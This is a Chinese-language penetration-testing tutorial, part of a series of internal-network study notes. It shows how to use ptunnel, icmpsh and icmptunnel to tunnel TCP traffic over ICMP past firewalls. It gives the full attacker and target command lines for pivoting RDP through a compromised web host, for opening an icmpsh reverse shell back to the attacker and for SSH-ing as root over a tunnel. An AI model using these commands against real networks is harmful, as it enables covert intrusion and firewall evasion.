内网学习笔记 | 6、ICMP隧道工具使用

  • A+
所属分类:安全工具

1、介绍

在内网中,如果攻击者使用 HTTP、DNS 等应用层隧道都失败了,那么或许可以试试网络层的 ICMP 隧道,ICMP 协议最常见的场景就是使用 ping 命令,而且一般防火墙都不会禁止 ping 数据包。

因此我们便可以将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而绕过防火墙的限制。

2、建立 ICMP 隧道工具

用于建立 ICMP 隧道的工具常见有:ptunnel、icmpsh、icmptunnel 等

ptunnel

ptunnel 全称 PingTunnel,Kali 下自带该工具,Linux 下安装过程如下:

yum -y install byaccyum -y install flex bison
#安装libpcap依赖库wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gztar -xzvf libpcap-1.9.0.tar.gzcd libpcap-1.9.0./configuremake && make install
#安装PingTunnelwget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gztar -xzvf PingTunnel-0.72.tar.gzcd PingTunnelmake && make install

ptunnel 常用命令介绍:

 -p: 指定跳板服务器 IP 地址 -lp: 监听本地 TCP 端口 -da: 指定访问目标的内网 IP 地址 -dp: 指定访问目标的端口 -m: 设置隧道最大并发数 -v: 输入内容详细级别(-1到4,其中-1为无输出,4为全部输出) -udp: 切换使用UDP代替ICMP,代理将监听端口53(必须是 root 权限) -x: 设置隧道密码,防止滥用(客户端和代理端必须相同)

目前有这样的一个场景,当前已经拿下了一台外网 Web Linux 服务器,想通过它利用 ICMP 协议连接内网的一台已经开启远程桌面的 Windows ,网络结构简化如下。

Kali 攻击机       172.16.214.6 (外网)||Linux Web 跳板机  172.16.214.5  (外网)|                192.168.7.5   (内网)||Win RDP 目标机    192.168.7.110 (内网)

在 Kali 攻击机上执行以下命令

ptunnel -p 172.16.214.5 -lp 1080 -da 192.168.7.110 -dp 3389 -x teamssix
 -p  指定跳板机外网IP -lp 指定本机的监听端口 -da 指定目标机的内网IP -dp 指定目标机的端口 -x 设置隧道密码

在 Linux Web 跳板机上执行以下命令

ptunnel -x teamssix

之后访问 Kali 攻击机 172.16.214.6 的 1080 端口就会连接到 Win RDP 目标机 192.168.7.110 的 3389 端口了,不过实测发现这种方法有些不稳定。

内网学习笔记 | 6、ICMP隧道工具使用

icmpsh

icmpsh 使用很简单,直接在 github 上下载,运行时不需要管理员权限,但是在使用时需要关闭本地系统的 ICMP 应答,不然 shell 的运行会不稳定。

git clone https://github.com/inquisb/icmpsh.git #下载工具apt-get install python-impacket # 安装依赖,或者 pip2 install impacketsysctl -w net.ipv4.icmp_echo_ignore_all=1  #关闭本地ICMP应答

icmpsh 常用命令介绍:

 -t host            发送ping请求的主机ip地址,即攻击机的IP [该命令必须存在] -d milliseconds    请求时间间隔(毫秒) -o milliseconds    响应超时时间(毫秒) -s bytes           最大数据缓冲区大小(字节)

目前有这样的一个场景,攻击机能通过 ICMP 协议访问到目标主机,但是目标上有防火墙,拒绝了敏感端口比如 22、3389 端口的访问,这个时候可以使用 icmpsh 利用 ICMP 协议建立反向 shell

攻击机 IP:172.16.214.6目标机 IP:172.16.214.2

在攻击机上运行:

python2 icmpsh_m.py 172.16.214.6 172.16.214.2

在目标机上运行

./icmpsh.exe -t 172.16.214.6

此时在攻击机上可以看到通过 icmp 协议建立的 shell

内网学习笔记 | 6、ICMP隧道工具使用

icmptunnel

icmptunnel 的优势在于可以穿过状态防火墙或 NAT,同样在 github 上进行下载,值得注意的是该工具只有 Linux 版。

git clone https://github.com/jamesbarlow/icmptunnel.gitcd icmptunnelmake

目前有这样的一个场景,攻击者为 Linux,但由于目标存在状态防火墙或者使用了 NAT 导致无法获得 shell,此时可以通过 icmptunnel 绕过限制。

攻击机 IP:172.16.214.6目标机 IP:172.16.214.5

在攻击机上运行:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all        # 禁用 ICMP echo 回复,防止内核自己对ping包进行响应./icmptunnel -s    # 开启服务端模式

在攻击机上新开启一个终端运行:

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0    # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.1)

在目标机上运行:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all./icmptunnel 172.16.214.6

在目标机上新开启一个终端运行:

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0    # 指定一个网卡tun0,用于给隧道服务器端分配一个IP地址 (10.0.0.2)

至此,已经通过 ICMP 建立了一个点对点隧道。

在攻击机上,尝试通过 ssh 进行连接,可以看到通过刚才建立的隧道成功连接到目标机。

ssh root@10.0.0.2

内网学习笔记 | 6、ICMP隧道工具使用

原文链接:https://www.teamssix.com/year/210407-183605.html

参考链接:

https://xz.aliyun.com/t/7875

https://www.freebuf.com/sectool/210450.html

https://xiaix.me/li-yong-icmp-sui-dao-chuan-tou-fang-huo-qiang


往期推荐

工具分享 | 写了一个威胁情报收集的小工具

域内主机存活探测的一些方法总结

内网学习笔记 | 5、BloodHound 的使用

内网学习笔记 | 6、ICMP隧道工具使用

本文始发于微信公众号(TeamsSix):内网学习笔记 | 6、ICMP隧道工具使用

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: